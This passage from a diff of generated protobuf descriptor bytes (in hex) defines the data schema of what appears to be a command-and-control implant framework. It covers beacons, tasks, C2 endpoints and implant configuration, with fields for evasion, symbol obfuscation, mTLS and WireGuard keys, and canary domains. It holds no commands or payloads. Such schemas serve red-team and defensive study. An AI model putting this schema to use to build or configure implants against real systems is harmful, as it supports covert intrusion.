0x53, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x4f, 0x53, 0x12, 0x12, 0x0a, + 0x04, 0x41, 0x72, 0x63, 0x68, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x41, 0x72, 0x63, + 0x68, 0x12, 0x1c, 0x0a, 0x09, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x70, 0x6f, 0x72, 0x74, 0x18, 0x0a, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x70, 0x6f, 0x72, 0x74, 0x12, + 0x24, 0x0a, 0x0d, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, + 0x18, 0x0b, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x41, 0x64, + 0x64, 0x72, 0x65, 0x73, 0x73, 0x12, 0x10, 0x0a, 0x03, 0x50, 0x49, 0x44, 0x18, 0x0c, 0x20, 0x01, + 0x28, 0x05, 0x52, 0x03, 0x50, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x6e, + 0x61, 0x6d, 0x65, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x6e, + 0x61, 0x6d, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x4c, 0x61, 0x73, 0x74, 0x43, 0x68, 0x65, 0x63, 0x6b, + 0x69, 0x6e, 0x18, 0x0e, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x4c, 0x61, 0x73, 0x74, 0x43, 0x68, + 0x65, 0x63, 0x6b, 0x69, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x43, + 0x32, 0x18, 0x0f, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x43, + 0x32, 0x12, 0x18, 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x10, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x45, + 0x76, 0x61, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x11, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x45, 0x76, + 0x61, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x0a, 0x06, 0x49, 0x73, 0x44, 0x65, 0x61, 0x64, 0x18, + 0x12, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x49, 0x73, 0x44, 0x65, 0x61, 0x64, 0x12, 0x2c, 0x0a, + 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, + 0x61, 0x6c, 0x18, 0x13, 0x20, 0x01, 0x28, 0x03, 0x52, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, + 0x65, 0x63, 0x74, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x12, 0x1a, 0x0a, 0x08, 0x50, + 0x72, 0x6f, 0x78, 0x79, 0x55, 0x52, 0x4c, 0x18, 0x14, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x50, + 0x72, 0x6f, 0x78, 0x79, 0x55, 0x52, 0x4c, 0x12, 0x16, 0x0a, 0x06, 0x42, 0x75, 0x72, 0x6e, 0x65, + 0x64, 0x18, 0x16, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x42, 0x75, 0x72, 0x6e, 0x65, 0x64, 0x12, + 0x1e, 0x0a, 0x0a, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x17, 0x20, + 0x03, 0x28, 0x09, 0x52, 0x0a, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, + 0x16, 0x0a, 0x06, 0x50, 0x65, 0x65, 0x72, 0x49, 0x44, 0x18, 0x19, 0x20, 0x01, 0x28, 0x03, 0x52, + 0x06, 0x50, 0x65, 0x65, 0x72, 0x49, 0x44, 0x12, 0x16, 0x0a, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, + 0x65, 0x18, 0x1a, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x12, + 0x22, 0x0a, 0x0c, 0x46, 0x69, 0x72, 0x73, 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, 0x74, 0x18, + 0x1b, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x46, 0x69, 0x72, 0x73, 0x74, 0x43, 0x6f, 0x6e, 0x74, + 0x61, 0x63, 0x74, 0x22, 0x82, 0x06, 0x0a, 0x06, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x12, 0x0e, + 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, + 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, + 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x03, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x12, + 0x0a, 0x04, 0x55, 0x55, 0x49, 0x44, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x55, 0x55, + 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x05, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x10, + 0x0a, 0x03, 0x55, 0x49, 0x44, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x55, 0x49, 0x44, + 0x12, 0x10, 0x0a, 0x03, 0x47, 0x49, 0x44, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x47, + 0x49, 0x44, 0x12, 0x0e, 0x0a, 0x02, 0x4f, 0x53, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, + 0x4f, 0x53, 0x12, 0x12, 0x0a, 0x04, 0x41, 0x72, 0x63, 0x68, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x04, 0x41, 0x72, 0x63, 0x68, 0x12, 0x1c, 0x0a, 0x09, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x70, + 0x6f, 0x72, 0x74, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x54, 0x72, 0x61, 0x6e, 0x73, + 0x70, 0x6f, 0x72, 0x74, 0x12, 0x24, 0x0a, 0x0d, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x41, 0x64, + 0x64, 0x72, 0x65, 0x73, 0x73, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x52, 0x65, 0x6d, + 0x6f, 0x74, 0x65, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x12, 0x10, 0x0a, 0x03, 0x50, 0x49, + 0x44, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x05, 0x52, 0x03, 0x50, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, + 0x46, 0x69, 0x6c, 0x65, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, + 0x46, 0x69, 0x6c, 0x65, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x4c, 0x61, 0x73, 0x74, + 0x43, 0x68, 0x65, 0x63, 0x6b, 0x69, 0x6e, 0x18, 0x0e, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x4c, + 0x61, 0x73, 0x74, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x69, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x41, 0x63, + 0x74, 0x69, 0x76, 0x65, 0x43, 0x32, 0x18, 0x0f, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x41, 0x63, + 0x74, 0x69, 0x76, 0x65, 0x43, 0x32, 0x12, 0x18, 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, + 0x6e, 0x18, 0x10, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, + 0x12, 0x18, 0x0a, 0x07, 0x45, 0x76, 0x61, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x11, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x07, 0x45, 0x76, 0x61, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x0a, 0x06, 0x49, 0x73, + 0x44, 0x65, 0x61, 0x64, 0x18, 0x12, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x49, 0x73, 0x44, 0x65, + 0x61, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x78, 0x79, 0x55, 0x52, 0x4c, 0x18, 0x14, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x78, 0x79, 0x55, 0x52, 0x4c, 0x12, 0x2c, + 0x0a, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x49, 0x6e, 0x74, 0x65, 0x72, + 0x76, 0x61, 0x6c, 0x18, 0x15, 0x20, 0x01, 0x28, 0x03, 0x52, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, + 0x6e, 0x65, 0x63, 0x74, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x12, 0x1a, 0x0a, 0x08, + 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x18, 0x16, 0x20, 0x01, 0x28, 0x03, 0x52, 0x08, + 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x12, 0x16, 0x0a, 0x06, 0x4a, 0x69, 0x74, 0x74, + 0x65, 0x72, 0x18, 0x17, 0x20, 0x01, 0x28, 0x03, 0x52, 0x06, 0x4a, 0x69, 0x74, 0x74, 0x65, 0x72, + 0x12, 0x16, 0x0a, 0x06, 0x42, 0x75, 0x72, 0x6e, 0x65, 0x64, 0x18, 0x18, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x06, 0x42, 0x75, 0x72, 0x6e, 0x65, 0x64, 0x12, 0x20, 0x0a, 0x0b, 0x4e, 0x65, 0x78, 0x74, + 0x43, 0x68, 0x65, 0x63, 0x6b, 0x69, 0x6e, 0x18, 0x19, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x4e, + 0x65, 0x78, 0x74, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x69, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x54, 0x61, + 0x73, 0x6b, 0x73, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x18, 0x1a, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0a, + 0x54, 0x61, 0x73, 0x6b, 0x73, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x12, 0x30, 0x0a, 0x13, 0x54, 0x61, + 0x73, 0x6b, 0x73, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, + 0x64, 0x18, 0x1b, 0x20, 0x01, 0x28, 0x03, 0x52, 0x13, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x43, 0x6f, + 0x75, 0x6e, 0x74, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x12, 0x16, 0x0a, 0x06, + 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x18, 0x1c, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x4c, 0x6f, + 0x63, 0x61, 0x6c, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x46, 0x69, 0x72, 0x73, 0x74, 0x43, 0x6f, 0x6e, + 0x74, 0x61, 0x63, 0x74, 0x18, 0x1d, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x46, 0x69, 0x72, 0x73, + 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, 0x74, 0x22, 0x35, 0x0a, 0x07, 0x42, 0x65, 0x61, 0x63, + 0x6f, 0x6e, 0x73, 0x12, 0x2a, 0x0a, 0x07, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x73, 0x18, 0x02, + 0x20, 0x03, 0x28, 0x0b, 0x32, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x52, 0x07, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x73, 0x22, + 0xfe, 0x01, 0x0a, 0x0a, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x0e, + 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1a, + 0x0a, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x72, + 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x43, + 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x53, 0x74, 0x61, 0x74, + 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x16, + 0x0a, 0x06, 0x53, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, 0x06, + 0x53, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, + 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x43, 0x6f, 0x6d, + 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x08, + 0x20, 0x01, 0x28, 0x0c, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x20, + 0x0a, 0x0b, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x09, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x0b, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, + 0x22, 0x55, 0x0a, 0x0b, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x12, + 0x1a, 0x0a, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x44, 0x12, 0x2a, 0x0a, 0x05, 0x54, + 0x61, 0x73, 0x6b, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, + 0x52, 0x05, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x22, 0x53, 0x0a, 0x09, 0x49, 0x6d, 0x70, 0x6c, 0x61, + 0x6e, 0x74, 0x43, 0x32, 0x12, 0x1a, 0x0a, 0x08, 0x50, 0x72, 0x69, 0x6f, 0x72, 0x69, 0x74, 0x79, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x50, 0x72, 0x69, 0x6f, 0x72, 0x69, 0x74, 0x79, + 0x12, 0x10, 0x0a, 0x03, 0x55, 0x52, 0x4c, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x55, + 0x52, 0x4c, 0x12, 0x18, 0x0a, 0x07, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x07, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0xfb, 0x0d, 0x0a, + 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x0e, + 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1a, + 0x0a, 0x08, 0x49, 0x73, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x08, 0x49, 0x73, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x12, 0x26, 0x0a, 0x0e, 0x42, 0x65, + 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x18, 0x03, 0x20, 0x01, + 0x28, 0x03, 0x52, 0x0e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, + 0x61, 0x6c, 0x12, 0x22, 0x0a, 0x0c, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x4a, 0x69, 0x74, 0x74, + 0x65, 0x72, 0x18, 0x04, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, + 0x4a, 0x69, 0x74, 0x74, 0x65, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x05, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x12, 0x16, 0x0a, 0x06, 0x47, 0x4f, + 0x41, 0x52, 0x43, 0x48, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x47, 0x4f, 0x41, 0x52, + 0x43, 0x48, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x44, 0x65, 0x62, 0x75, 0x67, 0x18, + 0x08, 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x44, 0x65, 0x62, 0x75, 0x67, 0x12, 0x18, 0x0a, 0x07, + 0x45, 0x76, 0x61, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x09, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x45, + 0x76, 0x61, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x2a, 0x0a, 0x10, 0x4f, 0x62, 0x66, 0x75, 0x73, 0x63, + 0x61, 0x74, 0x65, 0x53, 0x79, 0x6d, 0x62, 0x6f, 0x6c, 0x73, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x10, 0x4f, 0x62, 0x66, 0x75, 0x73, 0x63, 0x61, 0x74, 0x65, 0x53, 0x79, 0x6d, 0x62, 0x6f, + 0x6c, 0x73, 0x12, 0x22, 0x0a, 0x0c, 0x54, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x4e, 0x61, + 0x6d, 0x65, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x54, 0x65, 0x6d, 0x70, 0x6c, 0x61, + 0x74, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x53, 0x47, 0x4e, 0x45, 0x6e, 0x61, + 0x62, 0x6c, 0x65, 0x64, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x53, 0x47, 0x4e, 0x45, + 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x4d, 0x74, 0x6c, 0x73, 0x43, 0x41, + 0x43, 0x65, 0x72, 0x74, 0x18, 0x14, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x4d, 0x74, 0x6c, 0x73, + 0x43, 0x41, 0x43, 0x65, 0x72, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x4d, 0x74, 0x6c, 0x73, 0x43, 0x65, + 0x72, 0x74, 0x18, 0x15, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x4d, 0x74, 0x6c, 0x73, 0x43, 0x65, + 0x72, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x4d, 0x74, 0x6c, 0x73, 0x4b, 0x65, 0x79, 0x18, 0x16, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x07, 0x4d, 0x74, 0x6c, 0x73, 0x4b, 0x65, 0x79, 0x12, 0x2e, 0x0a, 0x12, + 0x41, 0x67, 0x65, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, + 0x65, 0x79, 0x18, 0x17, 0x20, 0x01, 0x28, 0x09, 0x52, 0x12, 0x41, 0x67, 0x65, 0x53, 0x65, 0x72, + 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x12, 0x24, 0x0a, 0x0d, + 0x50, 0x65, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x18, 0x18, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x0d, 0x50, 0x65, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, + 0x65, 0x79, 0x12, 0x26, 0x0a, 0x0e, 0x50, 0x65, 0x65, 0x72, 0x50, 0x72, 0x69, 0x76, 0x61, 0x74, + 0x65, 0x4b, 0x65, 0x79, 0x18, 0x19, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x50, 0x65, 0x65, 0x72, + 0x50, 0x72, 0x69, 0x76, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x36, 0x0a, 0x16, 0x50, 0x65, + 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x53, 0x69, 0x67, 0x6e, 0x61, + 0x74, 0x75, 0x72, 0x65, 0x18, 0x1a, 0x20, 0x01, 0x28, 0x09, 0x52, 0x16, 0x50, 0x65, 0x65, 0x72, + 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x53, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, + 0x72, 0x65, 0x12, 0x38, 0x0a, 0x17, 0x4d, 0x69, 0x6e, 0x69, 0x73, 0x69, 0x67, 0x6e, 0x53, 0x65, + 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x18, 0x1b, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x17, 0x4d, 0x69, 0x6e, 0x69, 0x73, 0x69, 0x67, 0x6e, 0x53, 0x65, 0x72, + 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x12, 0x2a, 0x0a, 0x10, 0x57, 0x47, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x69, 0x76, 0x4b, 0x65, 0x79, - 0x12, 0x26, 0x0a, 0x0e, 0x57, 0x47, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x4b, - 0x65, 0x79, 0x18, 0x1f, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x57, 0x47, 0x53, 0x65, 0x72, 0x76, - 0x65, 0x72, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x12, 0x20, 0x0a, 0x0b, 0x57, 0x47, 0x50, 0x65, - 0x65, 0x72, 0x54, 0x75, 0x6e, 0x49, 0x50, 0x18, 0x20, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x57, - 0x47, 0x50, 0x65, 0x65, 0x72, 0x54, 0x75, 0x6e, 0x49, 0x50, 0x12, 0x2c, 0x0a, 0x11, 0x57, 0x47, - 0x4b, 0x65, 0x79, 0x45, 0x78, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x6f, 0x72, 0x74, 0x18, - 0x21, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x11, 0x57, 0x47, 0x4b, 0x65, 0x79, 0x45, 0x78, 0x63, 0x68, - 0x61, 0x6e, 0x67, 0x65, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x26, 0x0a, 0x0e, 0x57, 0x47, 0x54, 0x63, - 0x70, 0x43, 0x6f, 0x6d, 0x6d, 0x73, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x22, 0x20, 0x01, 0x28, 0x0d, - 0x52, 0x0e, 0x57, 0x47, 0x54, 0x63, 0x70, 0x43, 0x6f, 0x6d, 0x6d, 0x73, 0x50, 0x6f, 0x72, 0x74, - 0x12, 0x2c, 0x0a, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x49, 0x6e, 0x74, - 0x65, 0x72, 0x76, 0x61, 0x6c, 0x18, 0x28, 0x20, 0x01, 0x28, 0x03, 0x52, 0x11, 0x52, 0x65, 0x63, - 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x12, 0x30, - 0x0a, 0x13, 0x4d, 0x61, 0x78, 0x43, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x45, - 0x72, 0x72, 0x6f, 0x72, 0x73, 0x18, 0x29, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x13, 0x4d, 0x61, 0x78, - 0x43, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x73, - 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x6f, 0x6c, 0x6c, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x18, - 0x2a, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x50, 0x6f, 0x6c, 0x6c, 0x54, 0x69, 0x6d, 0x65, 0x6f, - 0x75, 0x74, 0x12, 0x23, 0x0a, 0x02, 0x43, 0x32, 0x18, 0x32, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, - 0x74, 0x43, 0x32, 0x52, 0x02, 0x43, 0x32, 0x12, 0x24, 0x0a, 0x0d, 0x43, 0x61, 0x6e, 0x61, 0x72, - 0x79, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x18, 0x33, 0x20, 0x03, 0x28, 0x09, 0x52, 0x0d, - 0x43, 0x61, 0x6e, 0x61, 0x72, 0x79, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x12, 0x2e, 0x0a, - 0x12, 0x43, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x69, 0x6f, 